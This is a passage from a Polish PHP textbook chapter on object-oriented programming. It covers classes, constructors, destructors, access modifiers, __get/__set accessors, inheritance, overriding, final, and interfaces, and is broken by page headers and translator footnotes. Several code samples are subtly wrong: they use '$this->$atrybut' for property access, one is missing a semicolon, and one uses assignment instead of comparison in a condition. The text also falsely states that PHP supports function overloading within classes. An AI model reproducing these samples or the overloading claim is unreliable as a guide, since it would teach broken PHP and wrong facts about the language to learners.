To właściwie przeciwieństwo opisanego we wcześniejszej części książki słowa kluczowego global


— słowo kluczowe use stwierdza, że zmienna $wspolczynnik dostępna w zasięgu globalnym
powinna być dostępna wewnątrz funkcji anonimowej.

Propozycje dalszych lektur


Zastosowania include(), require(), function i return są również wyjaśnione w podręczniku
dostępnym w sieci. Aby dowiedzieć się więcej na temat koncepcji, takich jak rekurencja, przekaz
przez referencję lub wartość czy zasięg, które dotyczą wielu języków, można sięgnąć po jedną
z książek dotyczących technik programowania.

W następnym rozdziale
Wiadomo już, jak dołączać pliki i funkcje i czynić kod łatwiejszym w utrzymaniu i możliwym do
ponownego wykorzystania. W następnym rozdziale opiszemy programowanie obiektowe, a szcze-
gólnie jego zastosowanie w PHP. Stosowanie obiektów pozwala na osiągnięcie celów przedstawio-
nych w tym rozdziale, z większymi nawet zyskami dla złożonych projektów.
Rozdział 6.
Obiektowy PHP
W rozdziale tym wyjaśnimy koncepcje programowania zorientowanego obiektowo (ang. Object
Oriented — OO) oraz przedstawimy sposoby stosowania ich w PHP.

Mechanizmy obiektowe dostępne w PHP posiadają wszystkie własności, jakich oczekuje się od
języka w pełni zorientowanego obiektowo. W niniejszym rozdziale omówimy po kolei każdy z nich.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 koncepcje programowania obiektowego,
 klasy, atrybuty i operacje,
 stosowanie atrybutów klas,
 stałe klasowe,
 wywoływanie metod klas,
 dziedziczenie,
 modyfikatory dostępu,
 metody statyczne,
 wskazywanie typu,
 późne wiązania statyczne,
 klonowanie obiektów,
 klasy abstrakcyjne,
 projektowanie klas,
 tworzenie kodu dla własnej klasy,
 zaawansowane mechanizmy obiektowe.

Koncepcje programowania obiektowego


Współczesne języki programowania zazwyczaj rozpoznają obiektowe ujęcie tworzenia oprogra-
mowania, a nawet go wymagają. Rozwój zorientowany obiektowo jako pomoc w tworzeniu pro-
gramów i ponownym wykorzystaniu kodu próbuje wykorzystać klasyfikację, relacje i właściwości
obiektów w systemie.
168 Część I  Stosowanie PHP

Klasy i obiekty
W kontekście programowania obiektowego obiektem może być prawie każda rzecz bądź koncepcja
— obiekt fizyczny, taki jak biurko lub klient, ale także konceptualny, istniejący jedynie w oprogra-
mowaniu, np. pole tekstowe lub plik. Generalnie najbardziej interesujące są obiekty konceptualne
zawierające obiekty świata rzeczywistego i koncepcje obiektowości, które muszą zostać wprowa-
dzone do programu.

Programowanie obiektowe zostało zaprojektowane i stworzone jako zbiór kompletnych obiektów


z przypisanymi atrybutami i operacjami, które wchodzą w interakcje, by spełnić oczekiwania użyt-
kowników. Atrybuty to właściwości bądź zmienne odnoszące się do obiektu. Operacje z kolei to
metody, działania lub funkcje, które obiekt może podejmować w celu modyfikowania siebie lub
zewnętrznego efektu. (Często wymiennie stosuje się pojęcie atrybut z pojęciami zmienna składo-
wa lub właściwość, a pojęcie operacja — z pojęciem metoda).

Główną zaletą programowania obiektowego jest jego zdolność do rozpoznawania i wspomagania


hermetyzacji, zwanej również ukrywaniem danych. Oznacza to przede wszystkim, że dostęp do
danych zawartych w obiekcie jest możliwy jedynie przez operacje obiektu, nazywane jego
interfejsem.

Możliwości funkcjonalne obiektu są związane z używanymi przez niego danymi. Możliwa jest łatwa
zmiana szczegółów implementacji obiektu w celu poprawienia wydajności, dodania nowych wła-
sności lub naprawienia błędów bez konieczności zmiany interfejsu, która mogłaby poważnie
wpłynąć na cały projekt. Dzięki enkapsulacji możliwe jest dokonywanie zmian i naprawianie
błędów bez wpływania na pozostałe części projektu.

W innych obszarach rozwoju oprogramowania programowanie obiektowe jest normą, a programo-


wanie proceduralne, zorientowane na funkcje, uchodzi za rozwiązanie przestarzałe. Jednak więk-
szość aplikacji internetowych jest wciąż niestety projektowana i tworzona według metodologii
zorientowanej na funkcje.

Rzeczywiście, istnieje ku temu kilka powodów. Wiele projektów WWW jest względnie małych
i prostych. Nie ustalając planu, można za pomocą piły zbić skrzynkę; podobnie bez większego
trudu można stworzyć większość projektów oprogramowania WWW z powodu ich niewielkich
rozmiarów. Jednakże próba zbudowania domu bez uprzedniego planu da marne rezultaty, jeżeli
w ogóle się powiedzie — podobnie jest z dużymi projektami programów.

Wiele projektów WWW ewoluuje od zbioru stron powiązanych hiperłączami do złożonej aplikacji
i zależnie od tego, czy wykorzystują okna dialogowe, czy też dynamicznie tworzone strony HTML,
wymagają dobrze przemyślanej metodologii rozwoju. Zorientowanie obiektowe może pomóc
w kontroli złożonych projektów, zwiększyć możliwości ponownego wykorzystywania kodu,
a w związku z tym ograniczyć koszty utrzymania.

W programowaniu OO obiekt jest unikatowym i identyfikowalnym zbiorem zapisanych danych


i operacji pracujących na tych danych. Na przykład mogą istnieć dwa obiekty przedstawiające
przyciski. Nawet jeżeli oba mają podpis „OK.”, szerokość 60 pikseli, wysokość 20 pikseli, a także
identyczne pozostałe atrybuty, na każdym z nich można pracować oddzielnie, ponieważ posiadają
specjalną zmienną, tak zwany uchwyt (niepowtarzalny identyfikator).

Obiekty mogą być pogrupowane w klasy. Klasy reprezentują zbiór obiektów, które mogą różnić
się nieco między sobą, lecz posiadają określoną liczbę podobieństw. Klasa zawiera obiekty posiada-
jące takie same operacje, działające w identyczny sposób, i takie same atrybuty, opisujące identyczne
własności, chociaż wartości tych atrybutów mogą różnić się pomiędzy poszczególnymi obiektami.
Rozdział 6.  Obiektowy PHP 169

O rzeczowniku „rower” można myśleć jako o klasie obiektów, opisującej wiele konkretnych rowe-
rów o wielu cechach wspólnych (atrybutach), jak dwa koła, kolor i wielkość, oraz operacje, takie
jak ruch.
Konkretny rower można ująć jako obiekt pasujący do klasy rowerów. Posiada on wszystkie wspólne
cechy rowerów, również operację ruchu, która działa tak jak ruch w innych rowerach. Atrybuty
konkretnego roweru mają unikatowe wartości, na przykład kolor zielony, ponieważ nie wszystkie
rowery są zielone.

Polimorfizm
Obiektowy język programowania musi rozpoznawać polimorfizm, co oznacza, że różne klasy
mogą się różnić zachowaniami dla tej samej operacji. Jeżeli na przykład istnieje klasa „samochód”
i klasa „rower”, to każda z nich ma różne operacje ruchu. W wypadku obiektów ze świata realne-
go ten problem rzadko występuje. Rowery raczej nie zaczną stosować operacji ruchu zapoży-
czonej od samochodów. Jednak język programowania nie odznacza się zdrowym rozsądkiem
świata realnego, tak więc musi rozpoznawać polimorfizm, aby „wiedzieć”, której operacji ruchu
użyć na konkretnym obiekcie.
Polimorfizm to charakterystyka raczej zachowań niż obiektów. W PHP tylko funkcje składowe
klas mogą być polimorficzne. Można to porównać do czasowników ze świata realnego, gdyż są one
równoważne funkcjom składowym. Roweru na przykład można używać na wiele sposobów,
m.in. czyścić go, wprawiać w ruch, rozkładać, naprawiać i malować.
Czasowniki te opisują ogólne działania, ponieważ nie wiadomo, na jakich obiektach są one doko-
nywane (ten typ abstrakcji dotyczącej obiektów i działań należy do charakterystycznych wyróżni-
ków ludzkiej inteligencji).
Na przykład przemieszczanie się rowerem wymaga zupełnie innych działań niż poruszanie się
samochodem, chociaż ogólne założenia są podobne. Czasownik poruszać się może być skojarzony
z konkretnymi działaniami dopiero wtedy, gdy znany jest obiekt tych działań.

Dziedziczenie
Dziedziczenie pozwala na tworzenie hierarchicznych związków pomiędzy klasami za pomocą
klas pochodnych. Klasa pochodna dziedziczy atrybuty i operacje po swojej klasie bazowej. Na przy-
kład rower i samochód mają pewne wspólne cechy. Możliwe jest zastosowanie klasy „pojazd”
zawierającej cechy, takie jak atrybut koloru, i operację ruchu, które to cechy posiadają wszystkie
pojazdy. Można więc przyjąć, że „rower” i „samochód” dziedziczą po pojeździe.
Często wymiennie stosowane są terminy klasa pochodna, podklasa i potomek. Analogicznie termin
klasa bazowa często używany jest naprzemiennie z terminami nadklasa oraz przodek.
Poprzez dziedziczenie możliwe jest budowanie nowych klas i dodawanie do starych. Z podsta-
wowej prostej klasy można według potrzeb wywieść klasy bardziej złożone i wyspecjalizowa-
ne. Dzięki temu kod jest łatwiejszy do ponownego wykorzystania, co zalicza się do ważnych zalet
ujęcia obiektowego.
Stosowanie dziedziczenia zaoszczędza sporo pracy, jeżeli operacje mogą zostać napisane raz
w klasie bazowej, a nie wielokrotnie w osobnych klasach pochodnych. Może również umożliwić
dokładniejsze modelowanie relacji ze świata realnego. Jeżeli zdanie o dwóch klasach z wyrazem
„jest” w środku jest sensowne, dziedziczenie jest przypuszczalnie właściwe. Zdanie: „samochód
jest pojazdem” ma sens, przeciwnie zaś zdanie: „pojazd jest samochodem”, ponieważ nie wszyst-
kie pojazdy to samochody. Tak więc „samochód” może dziedziczyć po „pojeździe”.
170 Część I  Stosowanie PHP

Tworzenie klas, atrybutów i operacji w PHP


Dotychczas klasy zostały przedstawione w bardzo abstrakcyjny sposób. Tworząc klasę w PHP,
należy użyć słowa kluczowego class.

Struktura klasy
Minimalna definicja klasy jest następująca:
class nazwaklasy
{
}

Klasy wymagają atrybutów i operacji, aby stać się użyteczne. Atrybuty tworzy się poprzez zade-
klarowanie zmiennych wewnątrz definicji klasy, stosując słowa kluczowe określające konkretny
zasięg widoczności: public, private albo protected. Więcej informacji na temat tych słów kluczo-
wych znajduje się w dalszej części tego rozdziału. Poniższy kod tworzy klasę o nazwie nazwaklasy
i dwa jej atrybuty, $atrybut1 i $atrybut2.
class nazwaklasy
{
public $atrybut1;
public $atrybut2;
}

Operacje tworzy się poprzez zadeklarowanie funkcji wewnątrz definicji klasy. Poniższy kod
utworzy klasę o nazwie nazwaklasy i dwie operacje niewykonujące żadnych działań. Operacja
operacja1() nie pobiera żadnych parametrów, a operacja2() pobiera dwa.
class nazwaklasy
{
function operacja1()
{
}
function operacja2($param1, $param2)
{
}
}

Konstruktory
Większość klas posiada specjalny typ operacji, zwany konstruktorem. Konstruktor jest wywoły-
wany przy tworzeniu obiektu, może więc wykonywać przydatną inicjalizację zadań, takich jak
nadawanie atrybutom sensownych wartości początkowych czy też tworzenie innych obiektów
wymaganych przez ten obiekt.
Konstruktor jest deklarowany w identyczny sposób jak inne operacje, ale posiada specjalną nazwę
__construct(). Chociaż istnieje możliwość ręcznego wywołania konstruktora, jego głównym
celem jest automatyczne wywołanie podczas tworzenia obiektu. Poniższy kod deklaruje klasę
z konstruktorem:
class nazwaklasy
{
function __construct($param)
{
echo "Konstruktor wywołany z parametrem ".$param."<br />";
}
}
Rozdział 6.  Obiektowy PHP 171

PHP obsługuje już przeciążanie funkcji wewnątrz klas, co oznacza, że można zdefiniować więcej
niż jedną funkcję o danej nazwie i różnej liczbie parametrów lub z parametrami o różnych typach.
(Mechanizm taki jest obsługiwany w wielu językach zorientowanych obiektowo). Więcej informacji
na ten temat znajdzie się w dalszej części rozdziału.

Destruktory
Przeciwieństwem konstruktora jest destruktor. Dzięki niemu można implementować możliwości
funkcjonalne, które będą mogły być wykonywane bezpośrednio przed zniszczeniem klasy realizo-
wanym automatycznie w momencie, gdy wszystkie odwołania do klasy zostaną usunięte lub wypad-
ną poza zasięg.
Analogicznie do zasad nazewnictwa konstruktorów, destruktor klasy powinien nosić nazwę
__destruct(). Destruktory nie mogą przyjmować żadnych parametrów.

Tworzenie egzemplarzy
Po zadeklarowaniu klasy należy stworzyć obiekt — konkretne indywiduum, które jest członkiem
klasy — aby na nim pracować. Nazywane jest to tworzeniem egzemplarza bądź tworzeniem instancji
klasy. Obiekt tworzy się, stosując słowo kluczowe new. Należy wskazać klasę, której członkiem będzie
nowy obiekt, oraz podać jego nazwę, a także wszystkie parametry wymagane przez konstruktor.
Poniższy kod deklaruje klasę nazwaklasy z konstruktorem, po czym tworzy dwa obiekty typu
nazwaklasy:
class nazwaklasy
{
function __construct($param)
{
echo "Konstruktor wywołany z parametrem ".$param."<br />";
}
}

$a = new nazwaklasy("Pierwszy");
$b = new nazwaklasy("Drugi");

Ponieważ konstruktor zostaje wywołany, ilekroć powstaje nowy obiekt, powyższy kod wyświetla
następujący wynik:
Konstruktor wywołany z parametrem Pierwszy
Konstruktor wywołany z parametrem Drugi

Podczas próby utworzenia obiektu w poniższy sposób:


$c = new nazwaklasy();

zostałoby wyświetlone następujące ostrzeżenie:


Warning: Missing argument 1 for nazwaklasy::__construct(), called in
/var/www/pmwd5e/rozdzial06/klasatestowa.php on line 16 and defined in /
var/www/pmwd5e/rozdzial06/klasatestowa
.php on line 81
Notice: Undefined variable: param in /var/www/pmwd5e/rozdzial06/klasatestowa.php on line 102
Konstruktor wywołany z parametrem

1
Ostrzeżenie: Brak argumenty 1 w nazwaklasy::__construct(), wywołanej w pliku .../klasatestowa.php w wierszu 16
i zdefiniowanej w pliku .../klasatestowa.php w wierszu 8. — przyp. tłum.
2
Uwaga: Niezdefiniowana zamienna: param w pliku .../klasatestowa.php w wierszu 10 — przyp. tłum.
172 Część I  Stosowanie PHP

Warto zauważyć, że po ostrzeżeniu i uwadze obiekt i tak zostanie utworzony, lecz parametr
konstruktora będzie pusty.

Stosowanie atrybutów klasy


Wewnątrz klasy zapewniony jest dostęp do specjalnego wskaźnika zwanego $this. Jeżeli atrybut
obecnej klasy nosi nazwę $atrybut, odwołuje się do niego jako do $this->$atrybut przy każdym
ustawianiu lub próbie dostępu z operacji wewnątrz klasy.

Poniższy kod przedstawia ustawianie i dostęp do atrybutu wewnątrz klasy:


class nazwaklasy
{
public $atrybut;
function operacja($param)
{
$this->$atrybut = $param
echo $this->$atrybut;
}
}

Dostępność atrybutów spoza klasy jest wyznaczana przez modyfikatory dostępu, przedstawione
w dalszej części rozdziału. W powyższym przykładzie nie ograniczono w żaden sposób dostępu
do atrybutów, można więc uzyskać do nich dostęp także spoza klasy w następujący sposób:
class nazwaklasy
{
public $atrybut;
}
$a = new nazwaklasy();
$a->$atrybut = "wartość";
echo $a->$atrybut;

Wywoływanie operacji klas


Operacje klas można wywoływać niemal w taki sam sposób, w jaki tworzy się odwołania do atry-
butów. Oto przykładowa klasa:
class nazwaklasy
{
function operacja1()
{
}
function operacja2($param1, $param2)
{
}
}

Obiekt tej klasy można utworzyć w następujący sposób:


$a = new nazwaklasy();

Po utworzeniu obiektu operacje można wywoływać tak samo jak normalne funkcje: podając ich
nazwę i umieszczając wszelkie parametry w nawiasach. Jednak ponieważ w tym przypadku ope-
racje należą do obiektu, a nie są zwyczajnymi funkcjami, konieczne jest określenie, do którego
obiektu będzie należeć wywoływana operacja. Do tego celu używana jest nazwa obiektu, a zapis
wygląda tak samo jak w odwołaniach do atrybutów:
Rozdział 6.  Obiektowy PHP 173

$a->operacja1();
$a->operacja2(12, "test");

Jeśli operacje coś zwracają, to tę wartość wynikową można przechwycić tak, jak pokazano w po-
niższym przykładzie:
$x = $a->operacja1();
$y = $a->operacja2(12, "test");

Kontrola dostępu przy użyciu modyfikatorów


private i public
W języku PHP używane są modyfikatory dostępu. Kontrolują one widoczność atrybutów oraz
metod i są umieszczone przed deklaracją atrybutu lub metody. PHP udostępnia trzy modyfikatory
dostępu:
 Ustawieniem domyślnym jest public, co oznacza, że jeśli żaden modyfikator dostępu nie
zostanie jawnie podany w deklaracji atrybutu lub metody, to zostanie użyty modyfikator
public. Elementy poprzedzone tym modyfikatorem, określane jako publiczne, są dostępne
dla kodu spoza danej klasy.
 Modyfikator dostępu private oznacza, że opatrzone nim elementy (tak zwane prywatne)
będą bezpośrednio dostępne wyłącznie wewnątrz danej klasy. W większości przypadków
wszystkie atrybuty klasy powinny być zadeklarowane właśnie jako prywatne. Poza tym
można się także zdecydować na zastosowanie tego modyfikatora dostępu również
w niektórych metodach, na przykład metodach pomocniczych, przeznaczonych do użycia
wyłącznie wewnątrz klasy. Elementy prywatne nie są dziedziczone (więcej informacji
na ten temat można znaleźć w dalszej części rozdziału).
 Modyfikator dostępu protected oznacza, że dostęp do poprzedzonych nim elementów
będzie możliwy wyłącznie wewnątrz danej klasy. Ponadto takie chronione elementy będą
dostępne w klasach pochodnych; także to zagadnienie zostanie dokładniej opisane
w dalszej części rozdziału. Na razie wystarczy sobie wyobrazić, że modyfikator protected
jest czymś pośrednim pomiędzy modyfikatorem private a modyfikatorem public.

Poniższy przykład pokazuje zastosowanie modyfikatorów dostępu public i private:


class maniery
{
private $greeting = 'Witaj';
public function powitaj($name)
{
echo "$this->greeting, $name";
}
}

W powyższym przykładzie każdy element klasy został poprzedzony modyfikatorem dostępu


w celu określenia, czy ma być elementem prywatnym, czy publicznym. Modyfikator public
można by pominąć, gdyż jest on stosowany domyślnie, jednak jeśli w kodzie są używane inne
modyfikatory dostępu, to stosowanie także modyfikatora public sprawi, że kod będzie łatwiejszy
do zrozumienia.
174 Część I  Stosowanie PHP

Pisanie funkcji dostępowych


Zazwyczaj bezpośredni dostęp do atrybutów spoza kodu klasy nie jest dobrym rozwiązaniem.
Jedną z ogromnych zalet programowania obiektowego jest wspieranie hermetyzacji. Hermetyzację
można dodatkowo wymusić poprzez stosowanie funkcji dostępowych: __get() oraz __set(). Jeśli
zrezygnujemy z bezpośredniego dostępu do atrybutów klasy i zdefiniujemy je jako prywatne lub
chronione, a dodatkowo uzupełnimy o odpowiednie funkcje dostępowe (ang. accessor functions),
to cały dostęp do tych atrybutów będzie mógł być realizowany przy użyciu określonego fragmentu
kodu. Początkowe, podstawowe postacie funkcji dostępowych zostały przedstawione w poniższym
przykładzie:
class nazwaklasy
{
private $atrybut;
function __get($nazwa)
{
return $this->$nazwa;
}
function __set ($nazwa, $wartosc)
{
$this->$nazwa = $wartosc;
}
}

Powyższy przykład przedstawia minimalne postacie funkcji zapewniających dostęp do atrybutu


o nazwie $atrybut. Funkcja o nazwie __get() zwyczajnie zwraca wartość atrybutu $atrybut,
a funkcja __set() ustawia jego nową wartość.

Należy zauważyć, że funkcja __get() ma jeden parametr — nazwę atrybutu — i zwraca wartość
wskazanego atrybutu. Podobnie funkcja __set() pobiera dwa parametry: nazwę atrybutu oraz nową
wartość, którą należy mu przypisać.

Funkcji tych nie trzeba wywoływać bezpośrednio. Poprzedzające ich nazwę podwójne podkre-
ślenie wskazuje PHP, że mają one specjalne znaczenie, podobnie jak funkcje __construct()
i __destruct().

A jak one działają? Jeśli utworzymy egzemplarz klasy


$a = new nazwaklasy();

możemy następnie wywołać funkcje __get() i __set(), aby odczytać i ustawić wartość dowolnego
atrybutu, który inaczej nie jest dostępny. W przypadku atrybutów zadeklarowanych jako publiczne
żadna z tych funkcji nie będzie używana, nawet jeśli wszystkie zostaną zdefiniowane.

Jeżeli napiszemy
$a->atrybut = 5;

instrukcja ta niejawnie wywoła funkcję __set() z wartością zmiennej $nazwa ustawioną na


"atrybut" i z wartością $wartosc równą 5. Funkcję __set() trzeba napisać samodzielnie, aby zaim-
plementować własne mechanizmy sprawdzania błędów.

Funkcja __get() działa w podobny sposób. Jeżeli w naszym kodzie zawrzemy odwołanie postaci
$a->$atrybut;

wyrażenie to niejawnie wywoła funkcję __get() z parametrem $nazwa równym "atrybut". Napi-
sanie funkcji __get(), która będzie zwracać wartość, pozostaje zadaniem programisty.
Rozdział 6.  Obiektowy PHP 175

Na pierwszy rzut oka powyższy kod może się wydawać mało lub wręcz bezwartościowy. W jego
obecnej formie to prawdopodobnie prawda, lecz powód tworzenia funkcji dostępowych jest prosty:
istnieje teraz tylko jeden fragment kodu posiadający dostęp do tego konkretnego atrybutu.

Przy jednym tylko punkcie dostępu można zaimplementować testy sprawdzające, czy przecho-
wywane są tylko sensowne dane. Jeżeli okaże się później, że wartość $atrybut powinna mieścić
się pomiędzy zero i sto, należy w jednym miejscu dodać kilka wierszy kodu i sprawdzać wartości
przed pozwoleniem na zmiany. Funkcja __set() powinna zostać zmieniona w następujący sposób:
function __set($nazwa, $wartosc)
{
if(($nazwa="atrybut") && ($wartosc >= 0) && ($wartosc <= 100)) {
$this->$atrybut = $wartosc;
}
}

Mając tylko jeden punkt dostępu, można dowolnie zmieniać jego implementację. Jeżeli z jakiegoś
powodu należy zmienić sposób przechowywania $this->atrybut, funkcje dostępowe pozwalają na
wykonanie tego poprzez zmianę kodu tylko w jednym miejscu.

Można ustalić, że zamiast przechowywać $this->atrybut jako zmienną, będzie on wywoływany


z bazy danych jedynie wtedy, kiedy zajdzie taka potrzeba. Można także zdecydować o tym, że jego
wartość będzie obliczana za każdym wywołaniem i że będzie szacowana na podstawie innych
atrybutów, a dane zostaną przechowane jak mniejszy typ. Niezależnie od typu pożądanej zmiany
wystarczy po prostu zmodyfikować funkcje dostępowe. Pozostałe części kodu nie ulegną zmia-
nie dopóty, dopóki funkcje dostępowe będą przyjmować bądź zwracać dane, których spodzie-
wają się inne części programu.

Implementacja dziedziczenia w PHP


Jeżeli dana klasa powinna być klasą pochodną innej, należy to zaznaczyć, używając słowa kluczo-
wego extends. Poniższy kod tworzy klasę o nazwie B, która dziedziczy po wcześniej zdefiniowanej
klasie o nazwie A.
class B extends A
{
public $atrybut2;
function operacja2()
{
}
}

Jeżeli klasa A została zdefiniowana w następujący sposób:


class A
{
public $atrybut1;
function operacja1()
{
}
}

prawidłowe byłyby wszystkie poniższe próby dostępu do operacji i atrybutów obiektu typu B:
$b = new B();
$b->operacja1();
$b->atrybut1 = 10;
$b->operacja2();
$b->atrybut2 = 10;
176 Część I  Stosowanie PHP

Należy zauważyć, że ponieważ klasa B dziedziczy po klasie A, można odnosić się w niej do
$b->operacja1() i $b->atrybut1, chociaż zostały one zdeklarowane w klasie A. B — jako klasa
pochodna A — posiada te same możliwości funkcjonalne i dane. Dodatkowo B ma własny atrybut
i operację.

Warto zapamiętać, że dziedziczenie działa tylko w jedną stronę. Klasa pochodna, czyli dziecko,
dziedziczy własności po swoim rodzicu, czyli klasie bazowej, lecz rodzic nie posiada własności
dziecka. Oznacza to, że dwa ostatnie z poniższych wierszy kodu nie mają sensu:
$a = new A();
$a->operacja1();
$a->atrybut1 = 10;
$a->operacja2();
$a->atrybut2 = 10;

Klasa A nie posiada bowiem metody operacja2() ani atrybutu $atrybut2.

Kontrolowanie widoczności w trakcie dziedziczenia


przy użyciu private i protected
Dzięki odpowiedniemu użyciu modyfikatorów dostępu private i protected można kontrolować,
które elementy będą podlegać dziedziczeniu. Jeśli atrybut lub metodę zadeklarowano jako
private, element ten nie zostanie odziedziczony. Jeżeli natomiast element zostanie zadeklarowany
jako protected, nie będzie on widoczny na zewnątrz klasy (podobnie jak element prywatny), lecz
zostanie odziedziczony.

Rozważmy następujący przykład:


<?php
class A
{
private function operacja1()
{
echo "operacja1 wywołana";
}
protected function operacja2()
{
echo "operacja2 wywołana";
}
public function operacja3()
{
echo "operacja3 wywołana";
}
}

class B extends A
{
function __construct()
{
$this->operacja1();
$this->operacja2();
$this->operacja3();
}
}

$b = new B;

?>
Rozdział 6.  Obiektowy PHP 177

Kod ten tworzy w klasie A trzy operacje: public, protected i private. B dziedziczy po A. W kon-
struktorze klasy B następuje próba wywołania operacji przodka.

Wiersz
$this->operacja1();

wygeneruje następujący błąd krytyczny:


Fatal error: Call to private method A::operacja1() from context 'B'

Przykład ten wskazuje, że operacje prywatne nie mogą być wywoływane z klasy potomnej.

Jeżeli wykomentujemy ten wiersz, wywołania pozostałych dwóch funkcji zadziałają. Funkcja
protected jest dziedziczona, lecz można jej używać jedynie z wnętrza klasy potomnej, co właśnie
zrobiliśmy. Jeżeli na końcu pliku dodamy nowy wiersz
$b->operacja2();

wygenerowany zostanie następujący błąd:


Fatal error: Call to protected method A::operacja2() from context ''

Można jednak wywołać metodę operacja3() spoza funkcji w następujący sposób:


$b->operacja3();

Jest to możliwe dzięki temu, że operacja3 została zadeklarowana jako public.

Przesłanianie
Powyższa klasa pochodna posiada własne zadeklarowane atrybuty i operacje. Możliwe jest jednak
również, i czasem użyteczne, ponowne zadeklarowanie tych samych atrybutów i operacji. Robi
się to w celu nadania atrybutowi klasy pochodnej innej domyślnej wartości niż ta, którą posiada
on w klasie bazowej, lub w celu zapewnienia operacji klasy pochodnej innych możliwości funkcjo-
nalnych niż te, które posiada ona w klasie bazowej. Działania takie nazywa się przesłanianiem
(ang. overriding).

Na przykład jeżeli istnieje klasa A:


class A
{ public $atrybut = 'domyślna wartość';
function operacja()
{
echo 'Coś<br />';
echo 'Wartość $atrybut wynosi '.$this->atrybut.'<br />';
}
}

w której należy zmienić domyślną wartość atrybutu $atrybut i nadać nowe działanie operacji
operacja(), można stworzyć następującą klasę B, która przesłoni atrybut $atrybut i operację
operacja():
class B extends A
{
public $atrybut = 'inna wartość';
function operacja()
{
echo 'Coś innego<br />';
echo 'Wartość $atrybut wynosi '.$this->atrybut.'<br />';
}
}
178 Część I  Stosowanie PHP

Zadeklarowanie B nie ma wpływu na oryginalną definicję A. Warto rozważyć dwa następujące


wiersze kodu:
$a = new A();
$a->operacja();

Utworzony został nowy obiekt typu A, po czym wywołano jego funkcję operacja(). Da to nastę-
pujący wynik:
Coś
Wartość $atrybut wynosi domyślna wartość

Powyższy wynik pokazuje, że zadeklarowanie B nie zmieniło A. Jeżeli utworzony zostanie obiekt
typu B, da on inne wyniki.

Poniższy kod:
$b = new B();
$b->operacja();

da następujący wynik:
Coś innego
Wartość $atrybut wynosi inna wartość

Podobnie jak tworzenie nowych atrybutów i operacji w klasie pochodnej nie ma wpływu na klasę
bazową, przesłanianie atrybutów lub operacji w klasie pochodnej nie oddziałuje na klasę bazową.

Klasa pochodna dziedziczy wszystkie atrybuty i operacje po swojej klasie bazowej, chyba że zo-
staną jej dostarczone zamienniki. Jeżeli zamiennik zostanie dostarczony, uzyskuje on pierwszeństwo
i przesłania oryginalną definicję.

Słowo kluczowe parent umożliwia wywoływanie oryginalnych wersji operacji z klasy przodka.
Na przykład aby wywołać A::operacja z wnętrza klasy B, należałoby napisać:
parent::operacja();

Dane wynikowe będą jednak inne. Pomimo wywołania operacji z klasy przodka PHP użyje wartości
atrybutów z klasy bieżącej. Dlatego wynik wywołania będzie następujący:
Coś
Wartość $atrybut wynosi inna wartość

Dziedziczenie może posiadać kilka warstw. Można zadeklarować klasę C, która dziedziczy własności
B i zarazem rodzica B, A. Klasa C również posiada możliwość wyboru, które atrybuty oraz operacje
rodziców zamienić i przesłaniać.

Zapobieganie dziedziczeniu i przesłanianiu


przy użyciu słowa kluczowego final
PHP posiada nowe słowo kluczowe: final. Gdy poprzedzi ono deklarację funkcji, funkcja ta
nie będzie mogła być przesłonięta w klasach pochodnych. Słowo to można dodać na przykład przed
klasą A z poprzedniego przykładu w następujący sposób:
class A
{
public $atrybut = 'domyślna wartość';
final function operacja()
{
Rozdział 6.  Obiektowy PHP 179

echo 'Coś<br />';


echo 'Wartość $atrybut wynosi '.$this->atrybut.'<br />';
}
}

Dzięki takiemu rozwiązaniu operacja() nie zostanie przesłonięta w klasie B. Jeżeli taka próba
zostanie podjęta, wygenerowany będzie następujący błąd:
Fatal error: Cannot override final method A::operacja()3

Dzięki słowu kluczowemu final można w ogóle zapobiegać dziedziczeniu po klasie. Aby unie-
możliwić dziedziczenie klasy A, należy napisać:
final class A
{…}

Jeżeli następnie spróbujemy odziedziczyć po klasie A, wygenerowany zostanie błąd podobny do


poniższego:
Fatal error: Class B may not inherit from final class A

Wielokrotne dziedziczenie
Niektóre języki obiektowe (przede wszystkim C++, Python i Smalltalk) oferują możliwość praw-
dziwego dziedziczenia wielokrotnego, ale większość z nich, w tym również PHP, nie ma takiej
własności. Oznacza to, że każda klasa może dziedziczyć tylko po jednym rodzicu. Nie ma
ograniczeń co do liczby dzieci, jakie może posiadać rodzic. Na początku może nie wydawać się
to zbyt jasne. Rysunek 6.1 przedstawia trzy różne sposoby dziedziczenia przez klasy A, B i C.

Rysunek 6.1.
PHP nie udostępnia
dziedziczenia
wielokrotnego

Lewa część rysunku przedstawia klasę C dziedziczącą po B, która z kolei dziedziczy po klasie A.
Każda klasa posiada co najwyżej jednego rodzica, tak więc jest to całkowicie prawidłowe dziedzi-
czenie w PHP.

Środkowa część rysunku ukazuje klasy B i C dziedziczące po klasie A. Każda klasa posiada co naj-
wyżej jednego rodzica, a zatem jest to również prawidłowe dziedziczenie.

3
Nie można przesłonić sfinalizowanej metody A::operacja() — przyp. tłum.
180 Część I  Stosowanie PHP

Prawa część rysunku prezentuje klasę C dziedziczącą zarówno po klasie A, jak i klasie B. W tym
przypadku klasa C posiada dwoje rodziców, tak więc jest to dziedziczenie wielokrotne, nieprawi-
dłowe w PHP.

Dziedziczenie wielokrotne może być niezwykle złożone i trudne w kontekście utrzymania i pielę-
gnacji kodu, dlatego też opracowane zostały różne mechanizmy pozwalające na korzystanie z jego
zalet bez konieczności ponoszenia kosztów, które się wiążą z jego stosowaniem. PHP udostępnia
dwa takie mechanizmy, które w pewnym stopniu zastępują możliwości funkcjonalne dziedziczenia
wielokrotnego: interfejsy oraz cechy (ang. trait).

Implementowanie interfejsów
Gdy pojawia się konieczność zaimplementowania mechanizmu podobnego do dziedziczenia wie-
lokrotnego, można w PHP wykorzystać w tym celu interfejsy. Można je traktować jako rozwią-
zanie zastępujące dziedziczenie wielokrotne, analogiczne do implementacji interfejsów obsługi-
wanej przez inne języki zorientowane obiektowo, takie jak Java.

Idea interfejsu polega na tym, że wskazuje on zestaw funkcji, które muszą implementować klasy
implementujące ten interfejs. Można na przykład dojść do wniosku, że potrzebny jest zestaw klas,
które powinny umieć wyświetlać same siebie. Zamiast tworzyć klasę przodka zawierającą funkcję
wyswietl(), która będzie dziedziczona i przesłaniana przez wszystkie pozostałe klasy, można
zaimplementować interfejs w następujący sposób:
interface Wyswietlane
{
function wyswietl();
}

class stronaWWW implements Wyswietlane


{
function wyswietl()
{
// ...
}
}

Przykład ten ilustruje pewne rozwiązanie zastępcze dla dziedziczenia wielokrotnego, ponieważ
klasa stronaWWW może dziedziczyć po jednej klasie i implementować jeden lub wiele interfejsów.
Jeżeli nie zostaną zaimplementowane wszystkie metody wskazane w interfejsie (w naszym przy-
